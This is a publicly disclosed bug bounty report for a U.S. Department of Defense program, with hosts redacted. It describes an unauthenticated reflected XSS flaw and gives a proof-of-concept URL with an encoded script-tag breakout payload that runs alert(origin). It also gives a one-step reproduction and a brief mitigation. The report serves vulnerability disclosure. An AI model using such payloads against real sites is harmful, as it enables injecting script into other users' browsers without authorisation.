HexBrain

U.S. Dept Of Defense · Report #1154378

Reflected XSS on https://██████

Validstatus
mediumseverity
10upvotes
3 Jun 2021disclosed

How it was found

Description: Reflected XSS on https://███████

POC: https://███/████=https://████████████/%3C/script%3E%3Cscript%3Ealert(origin)%3C/script%3E&██████

References

███████

Impact

Unauthenticated Reflected XSS

System Host(s)

████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Step 1: Go to link: https://██████/████=https://███████████████/%3C/script%3E%3Cscript%3Ealert(origin)%3C/script%3E&████████

Suggested Mitigation/Remediation Actions

Encoded output data

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original